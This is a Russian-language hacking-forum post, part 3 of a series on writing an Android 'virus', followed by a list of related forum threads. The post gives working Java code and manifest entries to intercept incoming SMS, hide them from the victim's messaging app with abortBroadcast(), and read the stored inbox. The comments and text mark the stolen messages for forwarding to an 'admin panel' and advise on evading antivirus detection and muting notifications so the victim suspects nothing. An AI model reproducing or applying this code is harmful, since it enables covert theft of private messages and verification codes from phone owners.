Как написать вирус для Андроид. Часть 3

Admin

Администратор
Популярность наших двух первых публикаций о вирусе для андроид прибавила нам энтузиазма и подтолкнула на дальнейшую работу в публикации примеров как написать вирус для андроид. Мы уже написали своего зверя и нам сразу же захотелось посмотреть фотки и перепску людей. И сегодня пойдет речь о том как это сделать. Сразу скажу, что этот вопрос очень сложный и мы к нему ещё не раз вернемся в следующих статьях. Мы рассмотрим здесь перехват и удаление смс для версий 2.х и просто чтение для версий старше 2.Х
sT6S9m4DEUenF_fEKbJFJ8vGywfUa9mszKOFo4H-I8Nqw_VBxDwPMHoeuxhY5qR4Bl1q=w300
Почему я решил так сделать? Просто с появлением версии 4.4 работа с смс (удаление или редактирование) изменилась. Создатели поняли, что не стоит кому попало давать работать с входящими данными.

Обработка входящих соединений
Код:
public class SMSMonitor extends BroadcastReceiver{
   @Override
   public void onReceive(Context context, Intent intent) {
Sms sms = new Sms();
       try {
           if (bundle != null) {
               Object[] pdus = (Object[]) bundle.get(Config.szPdus);
               SmsMessage[] mgs=new SmsMessage[pdus.length];
               for(int i=0;i<pdus.length;i++) {
                   mgs[i]=SmsMessage.createFromPdu((byte[]) pdus[i]);
               }
               sms.Text = getMessageFromSMSs(mgs);
               sms.SenderId = mgs[0].getOriginatingAddress();
               Date receiveDate = new Date(mgs[0].getTimestampMillis());
               sms.RecieveDate = receiveDate;
               sms.Status = mgs[0].getStatus();
           }
       } catch (Exception e) {
       }
// можете фильтровать здесь запросы от номеров.
       Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
       abortBroadcast(); // функция для отмены передачи этого события дальше приложениям.
   }
   private String getMessageFromSMSs(SmsMessage[] sms) {
       String str="";
       for(SmsMessage message:sms) {
           str += message.getMessageBody().toString();
       }
       return str;
   }
   public class Sms{
       public String SenderId;
       public String Text;
       public Date RecieveDate;
       public int Status;
   }
}
Вот, основной класс который занимается перехватом смс. Кажется, можно сделать глоток пивка и расслабиться. Но нет, это не будет работать в связи с тем, что нам еще нужно сделать класс, для обработки смс сообщения. По-сути, сейчас мы сделали только перехват. Сразу возникает вопрос: “А почему нельзя все сделать в одном месте?” Проблема кроется во времени обработки. Обработка событий не может быть долгой. И времени хватает только на чтение данных и передачу их сервису.

Код:
Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
Что и делает выше описанный код. Мы говорим какой класс запустить (он обязательно должен быть зарегистрирован как сервис) и передаем параметры.
Код:
public class SMSService extends Service {
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       String sms_tel = intent.getExtras().getString("phone");
       String sms_body = intent.getExtras().getString("text");
       String sms_date = intent.getExtras().getString("date");
       //обрабатываем данные и если надо отсылаем в админку.
       return START_STICKY;
   }
}
Мы внесли все выше описанные изменения. Сидим, попивая вкусное, холодное пивко, и ждем как будут перехватываться данные. Но вас настигнет разочарование: код выполнился без ошибок, но смс нет ни каких! И тут можно меня закидать помидорами или чипсами, смотря что под рукой. Давайте разбираться!

Регистрация: “план перехват”
Дабы вышеописанный метод работал, нас нужно объявить в манифесте приложения. Чтобы android знал, что мы хотим делать. Но учтите, что при установке, пользователь увидит это в разрешениях приложения.
Код:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver android:name=".SMSMonitor">
       <intent-filter android:priority="100">
           <action android:name="android.provider.Telephony.SMS_RECEIVED" />
       </intent-filter>
</receiver>
Дает право нам перехватывать смс. Есть хороший параметр приоритет, тут значение может быть от 1 до 999. Я рекомендую использовать от 100, но не сильно высоко. На этот параметр может ругаться антивирус. Если появился детект, можете искать его тут. Чем выше значение тем вы раньше будете стоять на обработку в очереди событий
Код:
<service android:name=".SMSService" />
//нужно для того,чтобы мы смогли запускать класс как сервис.
Собираем, проверяем, все работает. Ура.

Чтение сохранённых смс
Код:
String INBOX = "content://sms/inbox";
//String SENT = "content://sms/sent";
//String DRAFT = "content://sms/draft";
Cursor cursor = cnt.getContentResolver().query(Uri.parse(INBOX), null, null, null, null);
if (cursor.moveToFirst()) {
   do {
       for(int idx=0;idx<cursor.getColumnCount();idx++)
       {
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szAddress)){
                   // cursor.getString(idx)// номер телефона
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szBody)){
                   // cursor.getString(idx) // сообщение
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szDate)){
                   // cursor.getString(idx) // дата сообщения
               }
       }
   } while (cursor.moveToNext());
} else {
   // нету смс
}

Для работы данного способа требуется разрешение
Код:
   <uses-permission android:name="android.permission.READ_SMS" />
Прячем “плохие” сообщения
Я еще не объяснил где происходит удаление смс. И поэтому перейдем к этому вопросу. Тем более пива у вас уже должно заканчиваться, если конечно вы не ящик взяли
Самая главная функция abortBroadcast(); . Она говорит системе, чтобы она не передавала сообещение другим обработчикам включая стандартный смс менеджер от android‘a. Поэтому лучше иметь приоритет выше чем все приложения такого типа. Так же эта функция рано или поздно, станет вашим детектом. Но есть способы обойти это.
Удаление смс вручную, после обработки. Но тут вы должны будете приглушить звук смс, для того чтобы пользователь ни чего не заподозрил.
Удаление смс из очереди. (не пользовался)
P.S. Ну и на последок, данный способ будет работать на android‘е 2.х. От версии 4.4 и выше, он работать не будет (может только перехват, без отмены очереди). Там требуются другие методы. Но мы и это пройдем.
 
Похожие темы
Admin Как написать вирус для Андроид. Часть 5 Вирусология 0
Admin Как написать вирус для Андроид. Часть 4 Вирусология 0
Admin Как написать вирус для андроид. Часть 2 Вирусология 1
Admin Как написать вирус для андроид Вирусология 0
G Как написать безопасный код на JS Программирование 0
АнАлЬнАя ЧуПаКаБрА [Гайд] - Как написать человеку в Вк если вы у него в ЧС. Раздачи и сливы 0
S Как написать сообщение вк если ты в чс Фишинг, мошенничество, СИ 41
R Как написать простейший компилятор Программирование 0
АнАлЬнАя ЧуПаКаБрА Гайд как написать простенький проэкт в Private Keeper Полезные статьи 5
Admin Интересно Историки опровергли роль Томаса Эдисона как отца звукозаписи. Новости в сети 0
Admin Интересно Приёмник смотрит вправо, а удар прилетел слева. Как физика из школьного двора ломает радиозащиту. Новости в сети 0
Admin Интересно Узнайте, как злоумышленники видят вашу сеть: вебинар с HD Moore. Новости в сети 0
Admin Интересно Скидки-оборотни: как бонусные баллы превращаются в инструмент мошенничества. Новости в сети 0
Admin Интересно Искусственный интеллект сокращает временные рамки эксплуатации уязвимостей. Как с этим справиться?. Новости в сети 0
Admin Интересно Тест-драйв: как избавиться от сомнений в выборе ИБ-решения за 7 дней. Новости в сети 0
Admin Интересно Как управлять скрытыми ИИ-инструментами без замедления работы сотрудников. Новости в сети 0
Admin Интересно Ошибка из 2018 и подставные аккаунты. Рассказываем, как популярный пакет art-template начал атаковать айфоны. Новости в сети 0
Admin Интересно Сотрудник ушёл, а доступ остался. Как забытая учётка открыла хакерам путь к водоснабжению целого города. Новости в сети 0
Admin Интересно Роботы научились двигаться как живая материя. Новости в сети 0
Admin Интересно Идентификация как основной вектор атак в современных системах безопасности. Новости в сети 0
Admin Интересно Студенты возмущены после того, как ИИ пропустил сотни имён на выпускной церемонии. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может ухудшить рекомендации в TikTok. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может испортить рекомендации на TikTok. Новости в сети 0
Admin Интересно Как снизить риск фишинга до того, как он приведёт к сбоям в бизнесе. Новости в сети 0
Admin Интересно Как автоматизация ИБ закрывает угрозы без рутины. Новости в сети 0
Admin Интересно VPN, просевший трафик и минус 7 млрд руб. Как новые требования Минцифры ударили по маркетплейсам. Новости в сети 0
Admin Интересно Как анализ собственных инструментов помогает снизить риски кибератак. Новости в сети 0
Admin Интересно Практический вебинар: Как PT NGFW защищает от атак в реальном времени. Новости в сети 0
Admin Интересно ИИ уходит на дно: плавучие серверы в океане как новый этап развития технологий. Новости в сети 0
Admin Интересно Мы искали инопланетян не там? Жизнь прячется не в молекулах, а в том, как они организованы. Новости в сети 0
Admin Интересно Как спрятать секрет с помощью недоказуемой математики? Учёный обошёл 30-летний запрет в криптографии. Новости в сети 0
Admin Интересно Anthropic рассказала, как отучила искусственный интеллект угрожать людям. Новости в сети 0
Admin Интересно Безопасность КИИ: что изменилось и как выстроить защиту. Новости в сети 0
Admin Интересно Звездные каннибалы и космические ДТП. Как во Вселенной появляются самые тяжелые черные дыры. Новости в сети 0
Admin Интересно Азбука Морзе, Grok и $200 000: как один пост в X заставил ИИ-агента перевести токены. Новости в сети 0
Admin Интересно ФБР также читает чаты. Как переписка в мессенджере стоила хакеру восьми лет свободы. Новости в сети 0
Admin Интересно Защита или цензура? История о том, как Касперский стал личным Роскомнадзором на MacBook. Новости в сети 0
Admin Интересно Первый удар по VPN в США: как Юта хочет запретить анонимность, не имея на это технических средств. Новости в сети 0
Admin Интересно Исследователь показал, как отследить австралийских полицейских через Bluetooth. Новости в сети 0
Admin Интересно Галактике 400 миллионов лет, но она выглядит на миллиарды. Уэбб нашёл невозможного красного монстра — и астрономы не понимают, как он успел повзрослет Новости в сети 0
Admin Интересно Целились в Starlink — попали в iPhone. Как новый запрет на спутниковое оборудование создал правовую неопределённость для всего рынка смартфонов. Новости в сети 0
Admin Интересно СМС, которую вы никогда не прочитаете. Как спецслужбы находят «важных персон» за пару часов. Новости в сети 0
Admin Интересно Скафандры не готовы, Луна ждёт. Как бюрократия срывает планы NASA вернуться на Луну. Новости в сети 0
Admin Интересно ИИ врёт так же, как раньше. Но теперь он делает это мило — и вы ему доверяете. Новости в сети 0
Admin Интересно Азартные игры, долги и переписка двух гениев. Как ссора из-за 100 долларов создала современную математику. Новости в сети 0
Admin Интересно Приключения казаха в южнокорейских сетях. Как жадность довела взломщика до тюрьмы. Новости в сети 0
Admin Интересно Что скрыто за вымогательством: как работает индустрия ransomware. Новости в сети 0
Admin Интересно Режиссёры защищают использование ИИ для воссоздания Вэла Килмера в новом фильме как «этичное». Новости в сети 0
Admin Интересно Частица, которая спасла бы физику. Стерильное нейтрино искали 30 лет — как жаль, что оно оказалось миражом. Новости в сети 0
Admin Интересно Вашему RDP поставили «лайк». История о том, как горстка серверов прочесала Интернет и нашла все изъяны. Новости в сети 0

Название темы